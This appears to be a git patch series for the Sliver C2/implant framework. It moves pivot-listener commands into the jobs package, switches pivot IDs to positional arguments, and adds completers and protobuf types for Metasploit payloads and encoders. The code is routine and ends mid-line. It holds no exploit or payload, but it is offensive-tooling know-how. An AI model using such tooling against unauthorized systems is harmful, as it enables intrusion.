client/command/jobs/named-pipe.go rename client/command/{pivots/start.go => jobs/tcp.go} (63%) diff --git a/client/command/info/commands.go b/client/command/info/commands.go index 98f919dd28..72fa908b3e 100644 --- a/client/command/info/commands.go +++ b/client/command/info/commands.go @@ -17,6 +17,7 @@ func Commands(con *console.SliverClient) []*cobra.Command { Use: consts.InfoStr, Short: "Get info about session", Long: help.GetHelpFor([]string{consts.InfoStr}), + Args: cobra.MaximumNArgs(1), Run: func(cmd *cobra.Command, args []string) { InfoCmd(cmd, con, args) }, @@ -25,7 +26,8 @@ func Commands(con *console.SliverClient) []*cobra.Command { flags.Bind("use", false, infoCmd, func(f *pflag.FlagSet) { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) + + carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con).Usage("implant target to show (optional)")) return []*cobra.Command{infoCmd} } diff --git a/client/command/jobs/commands.go b/client/command/jobs/commands.go index 5de76356a8..6e3b58f76c 100644 --- a/client/command/jobs/commands.go +++ b/client/command/jobs/commands.go @@ -171,3 +171,36 @@ func Commands(con *console.SliverClient) []*cobra.Command { return []*cobra.Command{jobsCmd, mtlsCmd, wgCmd, httpCmd, httpsCmd, stageCmd} } + +// SliverCommands returns all C2 channels control commands available for an implant target. +func SliverCommands(con *console.SliverClient) []*cobra.Command { + namedPipeCmd := &cobra.Command{ + Use: consts.NamedPipeStr, + Short: "Start a named pipe pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}), + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + StartNamedPipeListenerCmd(cmd, con, args) + }, + } + flags.Bind("", false, namedPipeCmd, func(f *pflag.FlagSet) { + f.StringP("bind", "b", "", "name of the named pipe to bind pivot listener") + f.BoolP("allow-all", "a", false, "allow all users to connect") + }) + + tcpListenerCmd := &cobra.Command{ + Use: consts.TCPListenerStr, + Short: "Start a TCP pivot listener", + Long: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}), + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + StartTCPListenerCmd(cmd, con, args) + }, + } + flags.Bind("", false, tcpListenerCmd, func(f *pflag.FlagSet) { + f.StringP("bind", "b", "", "remote interface to bind pivot listener") + f.Uint16P("lport", "l", generate.DefaultTCPPivotPort, "tcp pivot listener port") + }) + + return []*cobra.Command{namedPipeCmd, tcpListenerCmd} +} diff --git a/client/command/jobs/named-pipe.go b/client/command/jobs/named-pipe.go new file mode 100644 index 0000000000..ed4815ace4 --- /dev/null +++ b/client/command/jobs/named-pipe.go @@ -0,0 +1,55 @@ +package jobs + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/sliverpb" + "github.com/spf13/cobra" +) + +// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system. +func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { + session := con.ActiveTarget.GetSessionInteractive() + if session == nil { + return + } + allowAll, _ := cmd.Flags().GetBool("allow-all") + bind, _ := cmd.Flags().GetString("bind") + + var options []bool + options = append(options, allowAll) + listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{ + Type: sliverpb.PivotType_NamedPipe, + BindAddress: bind, + Request: con.ActiveTarget.Request(cmd), + Options: options, + }) + if err != nil { + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) + return + } + if listener.Response != nil && listener.Response.Err != "" { + con.PrintErrorf("%s\n", listener.Response.Err) + return + } + con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID) +} diff --git a/client/command/pivots/start.go b/client/command/jobs/tcp.go similarity index 63% rename from client/command/pivots/start.go rename to client/command/jobs/tcp.go index 1b92e497fb..1c520fa020 100644 --- a/client/command/pivots/start.go +++ b/client/command/jobs/tcp.go @@ -1,4 +1,4 @@ -package pivots +package jobs /* Sliver Implant Framework @@ -50,31 +50,3 @@ func StartTCPListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []s } con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID) } - -// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system. -func StartNamedPipeListenerCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { - session := con.ActiveTarget.GetSessionInteractive() - if session == nil { - return - } - allowAll, _ := cmd.Flags().GetBool("allow-all") - bind, _ := cmd.Flags().GetString("bind") - - var options []bool - options = append(options, allowAll) - listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{ - Type: sliverpb.PivotType_NamedPipe, - BindAddress: bind, - Request: con.ActiveTarget.Request(cmd), - Options: options, - }) - if err != nil { - con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) - return - } - if listener.Response != nil && listener.Response.Err != "" { - con.PrintErrorf("%s\n", listener.Response.Err) - return - } - con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID) -} diff --git a/client/command/pivots/commands.go b/client/command/pivots/commands.go index cd848b4b08..a1cc3a5b98 100644 --- a/client/command/pivots/commands.go +++ b/client/command/pivots/commands.go @@ -2,11 +2,9 @@ package pivots import ( "github.com/bishopfox/sliver/client/command/flags" - "github.com/bishopfox/sliver/client/command/generate" "github.com/bishopfox/sliver/client/command/help" "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" - "github.com/rsteube/carapace" "github.com/spf13/cobra" "github.com/spf13/pflag" ) @@ -26,65 +24,33 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) - namedPipeCmd := &cobra.Command{ - Use: consts.NamedPipeStr, - Short: "Start a named pipe pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}), - Run: func(cmd *cobra.Command, args []string) { - StartNamedPipeListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(namedPipeCmd) - flags.Bind("", false, namedPipeCmd, func(f *pflag.FlagSet) { - f.StringP("bind", "b", "", "name of the named pipe to bind pivot listener") - f.BoolP("allow-all", "a", false, "allow all users to connect") - }) - - tcpListenerCmd := &cobra.Command{ - Use: consts.TCPListenerStr, - Short: "Start a TCP pivot listener", - Long: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}), - Run: func(cmd *cobra.Command, args []string) { - StartTCPListenerCmd(cmd, con, args) - }, - } - pivotsCmd.AddCommand(tcpListenerCmd) - flags.Bind("", false, tcpListenerCmd, func(f *pflag.FlagSet) { - f.StringP("bind", "b", "", "remote interface to bind pivot listener") - f.Uint16P("lport", "l", generate.DefaultTCPPivotPort, "tcp pivot listener port") - }) - pivotStopCmd := &cobra.Command{ Use: consts.StopStr, Short: "Stop a pivot listener", + Args: cobra.ExactArgs(1), Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), Run: func(cmd *cobra.Command, args []string) { StopPivotListenerCmd(cmd, con, args) }, } pivotsCmd.AddCommand(pivotStopCmd) - flags.Bind("", false, pivotStopCmd, func(f *pflag.FlagSet) { - f.Uint32P("id", "i", 0, "id of the pivot listener to stop") - }) - flags.BindFlagCompletions(pivotStopCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = PivotIDCompleter(con) - }) + + stopComs := flags.NewCompletions(pivotStopCmd) + stopComs.PositionalCompletion(PivotIDCompleter(con).Usage("id of the pivot listener to stop")) pivotDetailsCmd := &cobra.Command{ Use: consts.DetailsStr, Short: "Get details of a pivot listener", Long: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}), + Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { PivotDetailsCmd(cmd, con, args) }, } pivotsCmd.AddCommand(pivotDetailsCmd) - flags.Bind("", false, pivotDetailsCmd, func(f *pflag.FlagSet) { - f.IntP("id", "i", 0, "id of the pivot listener to get details for") - }) - flags.BindFlagCompletions(pivotDetailsCmd, func(comp *carapace.ActionMap) { - (*comp)["id"] = PivotIDCompleter(con) - }) + + detailsComps := flags.NewCompletions(pivotDetailsCmd) + detailsComps.PositionalCompletion(PivotIDCompleter(con).Usage("ID of the pivot listener to get details for")) graphCmd := &cobra.Command{ Use: consts.GraphStr, diff --git a/client/command/pivots/details.go b/client/command/pivots/details.go index 3d6868297a..7356e257c7 100644 --- a/client/command/pivots/details.go +++ b/client/command/pivots/details.go @@ -21,6 +21,7 @@ package pivots import ( "context" "fmt" + "strconv" "github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/console" @@ -47,19 +48,24 @@ func PivotDetailsCmd(cmd *cobra.Command, con *console.SliverClient, args []strin return } - id, _ := cmd.Flags().GetUint32("id") - if id == uint32(0) { + id, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse pivot ID: %s\n", err) + return + } + + if id == 0 { selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con) if err != nil { con.PrintErrorf("%s\n", err) return } - id = selectedListener.ID + id = uint64(selectedListener.ID) } found := false for _, listener := range pivotListeners.Listeners { - if listener.ID == id { + if listener.ID == uint32(id) { PrintPivotListenerDetails(listener, con) found = true } diff --git a/client/command/pivots/stop.go b/client/command/pivots/stop.go index 93c76ec1d7..116a505986 100644 --- a/client/command/pivots/stop.go +++ b/client/command/pivots/stop.go @@ -20,6 +20,7 @@ package pivots import ( "context" + "strconv" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/sliverpb" @@ -33,8 +34,13 @@ func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverClient, args [] return } - id, _ := cmd.Flags().GetUint32("id") - if id == uint32(0) { + id, err := strconv.ParseUint(args[0], 10, 32) + if err != nil { + con.PrintErrorf("Failed to parse pivot ID: %s\n", err) + return + } + + if id == 0 { pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{ Request: con.ActiveTarget.Request(cmd), }) @@ -51,10 +57,10 @@ func StopPivotListenerCmd(cmd *cobra.Command, con *console.SliverClient, args [] con.PrintErrorf("%s\n", err) return } - id = selectedListener.ID + id = uint64(selectedListener.ID) } - _, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{ - ID: id, + _, err = con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{ + ID: uint32(id), Request: con.ActiveTarget.Request(cmd), }) if err != nil { diff --git a/client/command/sliver.go b/client/command/sliver.go index 65b6310b65..4370ee3480 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -30,6 +30,7 @@ import ( "github.com/bishopfox/sliver/client/command/filesystem" "github.com/bishopfox/sliver/client/command/history" "github.com/bishopfox/sliver/client/command/info" + "github.com/bishopfox/sliver/client/command/jobs" "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/command/network" "github.com/bishopfox/sliver/client/command/pivots" @@ -84,7 +85,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { // [ Info ] bind(consts.InfoHelpGroup, - // info.Commands, + info.Commands, info.SliverCommands, screenshot.Commands, environment.Commands, @@ -98,6 +99,7 @@ func SliverCommands(con *client.SliverClient) console.Commands { // [ Network tools ] bind(consts.NetworkHelpGroup, + jobs.SliverCommands, network.Commands, rportfwd.Commands, portfwd.Commands, From 1ab9ebb315866c782ca8db01da00df2139b14b1e Mon Sep 17 00:00:00 2001 From: maxlandon Date: Fri, 28 Jul 2023 03:30:37 +0200 Subject: [PATCH 047/124] Add a small cache for Metasploit data: - Full completer for all msf related stuff (modules/payloads/encoders/archs, etc) --- client/command/exec/commands.go | 4 + client/command/generate/commands.go | 3 + client/command/generate/helpers.go | 112 + protobuf/clientpb/client.pb.go | 3489 ++++++++++++++------------- protobuf/clientpb/client.proto | 15 + protobuf/rpcpb/services.pb.go | 1375 +++++------ protobuf/rpcpb/services.proto | 1 + protobuf/rpcpb/services_grpc.pb.go | 37 + server/assets/assets.go | 10 +- server/command/assets/unpack.go | 2 + server/msf/msf.go | 182 ++ server/rpc/rpc-generate.go | 7 +- server/rpc/rpc-msf.go | 9 +- 13 files changed, 2902 insertions(+), 2344 deletions(-) diff --git a/client/command/exec/commands.go b/client/command/exec/commands.go index a2f913c25c..b1b4e88658 100644 --- a/client/command/exec/commands.go +++ b/client/command/exec/commands.go @@ -195,6 +195,10 @@ func Commands(con *console.SliverClient) []*cobra.Command { f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") }) + flags.BindFlagCompletions(msfCmd, func(comp *carapace.ActionMap) { + (*comp)["payload"] = generate.MsfPayloadCompleter(con) + (*comp)["encoder"] = generate.MsfEncoderCompleter(con) + }) msfInjectCmd := &cobra.Command{ Use: consts.MsfInjectStr, diff --git a/client/command/generate/commands.go b/client/command/generate/commands.go index 67ed1ded0d..20ddba6eac 100644 --- a/client/command/generate/commands.go +++ b/client/command/generate/commands.go @@ -69,6 +69,9 @@ func Commands(con *console.SliverClient) []*cobra.Command { }) flags.BindFlagCompletions(generateStagerCmd, func(comp *carapace.ActionMap) { (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant") + (*comp)["arch"] = MsfArchCompleter(con) + (*comp)["format"] = MsfFormatCompleter(con) + (*comp)["payload"] = MsfPayloadCompleter(con) }) generateCmd.AddCommand(generateStagerCmd) diff --git a/client/command/generate/helpers.go b/client/command/generate/helpers.go index 9c6e7eacee..0104a33686 100644 --- a/client/command/generate/helpers.go +++ b/client/command/generate/helpers.go @@ -3,12 +3,15 @@ package generate import ( "context" "fmt" + "strings" "time" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" "github.com/rsteube/carapace" + "github.com/rsteube/carapace/pkg/cache" + "github.com/rsteube/carapace/pkg/style" ) // GetSliverBinary - Get the binary of an implant based on it's profile. @@ -171,3 +174,112 @@ func TrafficEncodersCompleter(con *console.SliverClient) carapace.Action { return carapace.ActionValuesDescribed(results...).Tag("traffic encoders") }) } + +// MsfFormatCompleter completes MsfVenom stager formats. +func MsfFormatCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, fmt := range info.Formats { + fmt = strings.TrimSpace(fmt) + if fmt == "" { + continue + } + + results = append(results, fmt) + + } + + return carapace.ActionValues(results...).Tag("msfvenom formats") + }).Cache(1 * time.Minute) +} + +// MsfArchCompleter completes MsfVenom stager architectures. +func MsfArchCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, arch := range info.Archs { + arch = strings.TrimSpace(arch) + if arch == "" { + continue + } + + results = append(results, arch) + } + + return carapace.ActionValues(results...).Tag("msfvenom archs") + }).Cache(1 * time.Minute) +} + +// MsfFormatCompleter completes MsfVenom stager encoders. +func MsfEncoderCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(_ carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, mod := range info.Encoders { + results = append(results, mod.FullName) + + level := fmt.Sprintf("%-10s", "["+mod.Quality+"]") + desc := fmt.Sprintf("%s %s", level, mod.Description) + + results = append(results, desc) + } + + return carapace.ActionValuesDescribed(results...).Tag("msfvenom encoders") + }).Cache(1 * time.Minute) +} + +// MsfPayloadCompleter completes Metasploit payloads. +func MsfPayloadCompleter(con *console.SliverClient) carapace.Action { + return carapace.ActionCallback(func(c carapace.Context) carapace.Action { + if msg, err := con.ConnectCompletion(); err != nil { + return msg + } + + info, err := con.Rpc.GetMetasploitCompiler(context.Background(), &commonpb.Empty{}) + if err != nil { + return carapace.ActionMessage("failed to fetch Metasploit info: %s", con.UnwrapServerErr(err)) + } + + var results []string + + for _, mod := range info.Payloads { + if mod.FullName == "" && mod.Name == "" { + continue + } + + results = append(results, mod.FullName) + results = append(results, mod.Description) + } + + return carapace.ActionValuesDescribed(results...) + }).Cache(1*time.Minute, cache.String("payloads")).MultiParts("/").StyleF(style.ForPath) +} diff --git a/protobuf/clientpb/client.pb.go b/protobuf/clientpb/client.pb.go index f4665ada7f..d182722f8d 100644 --- a/protobuf/clientpb/client.pb.go +++ b/protobuf/clientpb/client.pb.go @@ -3276,6 +3276,156 @@ func (x *Compiler) GetUnsupportedTargets() []*CompilerTarget { return nil } +type MetasploitModule struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + FullName string `protobuf:"bytes,2,opt,name=FullName,proto3" json:"FullName,omitempty"` + Description string `protobuf:"bytes,3,opt,name=Description,proto3" json:"Description,omitempty"` + Quality string `protobuf:"bytes,4,opt,name=Quality,proto3" json:"Quality,omitempty"` +} + +func (x *MetasploitModule) Reset() { + *x = MetasploitModule{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[22] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *MetasploitModule) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MetasploitModule) ProtoMessage() {} + +func (x *MetasploitModule) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[22] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MetasploitModule.ProtoReflect.Descriptor instead. +func (*MetasploitModule) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{22} +} + +func (x *MetasploitModule) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *MetasploitModule) GetFullName() string { + if x != nil { + return x.FullName + } + return "" +} + +func (x *MetasploitModule) GetDescription() string { + if x != nil { + return x.Description + } + return "" +} + +func (x *MetasploitModule) GetQuality() string { + if x != nil { + return x.Quality + } + return "" +} + +type MetasploitCompiler struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Version string `protobuf:"bytes,1,opt,name=Version,proto3" json:"Version,omitempty"` + Formats []string `protobuf:"bytes,2,rep,name=Formats,proto3" json:"Formats,omitempty"` + Archs []string `protobuf:"bytes,3,rep,name=Archs,proto3" json:"Archs,omitempty"` + Encoders []*MetasploitModule `protobuf:"bytes,4,rep,name=Encoders,proto3" json:"Encoders,omitempty"` + Payloads []*MetasploitModule `protobuf:"bytes,5,rep,name=Payloads,proto3" json:"Payloads,omitempty"` +} + +func (x *MetasploitCompiler) Reset() { + *x = MetasploitCompiler{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[23] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *MetasploitCompiler) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MetasploitCompiler) ProtoMessage() {} + +func (x *MetasploitCompiler) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[23] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MetasploitCompiler.ProtoReflect.Descriptor instead. +func (*MetasploitCompiler) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{23} +} + +func (x *MetasploitCompiler) GetVersion() string { + if x != nil { + return x.Version + } + return "" +} + +func (x *MetasploitCompiler) GetFormats() []string { + if x != nil { + return x.Formats + } + return nil +} + +func (x *MetasploitCompiler) GetArchs() []string { + if x != nil { + return x.Archs + } + return nil +} + +func (x *MetasploitCompiler) GetEncoders() []*MetasploitModule { + if x != nil { + return x.Encoders + } + return nil +} + +func (x *MetasploitCompiler) GetPayloads() []*MetasploitModule { + if x != nil { + return x.Payloads + } + return nil +} + type DeleteReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -3287,7 +3437,7 @@ type DeleteReq struct { func (x *DeleteReq) Reset() { *x = DeleteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[24] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3300,7 +3450,7 @@ func (x *DeleteReq) String() string { func (*DeleteReq) ProtoMessage() {} func (x *DeleteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[22] + mi := &file_clientpb_client_proto_msgTypes[24] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3313,7 +3463,7 @@ func (x *DeleteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteReq.ProtoReflect.Descriptor instead. func (*DeleteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{22} + return file_clientpb_client_proto_rawDescGZIP(), []int{24} } func (x *DeleteReq) GetName() string { @@ -3340,7 +3490,7 @@ type DNSCanary struct { func (x *DNSCanary) Reset() { *x = DNSCanary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[25] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3353,7 +3503,7 @@ func (x *DNSCanary) String() string { func (*DNSCanary) ProtoMessage() {} func (x *DNSCanary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[23] + mi := &file_clientpb_client_proto_msgTypes[25] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3366,7 +3516,7 @@ func (x *DNSCanary) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSCanary.ProtoReflect.Descriptor instead. func (*DNSCanary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{23} + return file_clientpb_client_proto_rawDescGZIP(), []int{25} } func (x *DNSCanary) GetImplantName() string { @@ -3422,7 +3572,7 @@ type Canaries struct { func (x *Canaries) Reset() { *x = Canaries{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3435,7 +3585,7 @@ func (x *Canaries) String() string { func (*Canaries) ProtoMessage() {} func (x *Canaries) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[24] + mi := &file_clientpb_client_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3448,7 +3598,7 @@ func (x *Canaries) ProtoReflect() protoreflect.Message { // Deprecated: Use Canaries.ProtoReflect.Descriptor instead. func (*Canaries) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{24} + return file_clientpb_client_proto_rawDescGZIP(), []int{26} } func (x *Canaries) GetCanaries() []*DNSCanary { @@ -3470,7 +3620,7 @@ type UniqueWGIP struct { func (x *UniqueWGIP) Reset() { *x = UniqueWGIP{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3483,7 +3633,7 @@ func (x *UniqueWGIP) String() string { func (*UniqueWGIP) ProtoMessage() {} func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[25] + mi := &file_clientpb_client_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3496,7 +3646,7 @@ func (x *UniqueWGIP) ProtoReflect() protoreflect.Message { // Deprecated: Use UniqueWGIP.ProtoReflect.Descriptor instead. func (*UniqueWGIP) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{25} + return file_clientpb_client_proto_rawDescGZIP(), []int{27} } func (x *UniqueWGIP) GetIP() string { @@ -3518,7 +3668,7 @@ type ImplantProfile struct { func (x *ImplantProfile) Reset() { *x = ImplantProfile{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3531,7 +3681,7 @@ func (x *ImplantProfile) String() string { func (*ImplantProfile) ProtoMessage() {} func (x *ImplantProfile) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[26] + mi := &file_clientpb_client_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3544,7 +3694,7 @@ func (x *ImplantProfile) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfile.ProtoReflect.Descriptor instead. func (*ImplantProfile) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{26} + return file_clientpb_client_proto_rawDescGZIP(), []int{28} } func (x *ImplantProfile) GetName() string { @@ -3572,7 +3722,7 @@ type ImplantProfiles struct { func (x *ImplantProfiles) Reset() { *x = ImplantProfiles{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3585,7 +3735,7 @@ func (x *ImplantProfiles) String() string { func (*ImplantProfiles) ProtoMessage() {} func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[27] + mi := &file_clientpb_client_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3598,7 +3748,7 @@ func (x *ImplantProfiles) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantProfiles.ProtoReflect.Descriptor instead. func (*ImplantProfiles) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{27} + return file_clientpb_client_proto_rawDescGZIP(), []int{29} } func (x *ImplantProfiles) GetProfiles() []*ImplantProfile { @@ -3619,7 +3769,7 @@ type RegenerateReq struct { func (x *RegenerateReq) Reset() { *x = RegenerateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3632,7 +3782,7 @@ func (x *RegenerateReq) String() string { func (*RegenerateReq) ProtoMessage() {} func (x *RegenerateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[28] + mi := &file_clientpb_client_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3645,7 +3795,7 @@ func (x *RegenerateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use RegenerateReq.ProtoReflect.Descriptor instead. func (*RegenerateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{28} + return file_clientpb_client_proto_rawDescGZIP(), []int{30} } func (x *RegenerateReq) GetImplantName() string { @@ -3672,7 +3822,7 @@ type Job struct { func (x *Job) Reset() { *x = Job{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[29] + mi := &file_clientpb_client_proto_msgTypes[31] ms := 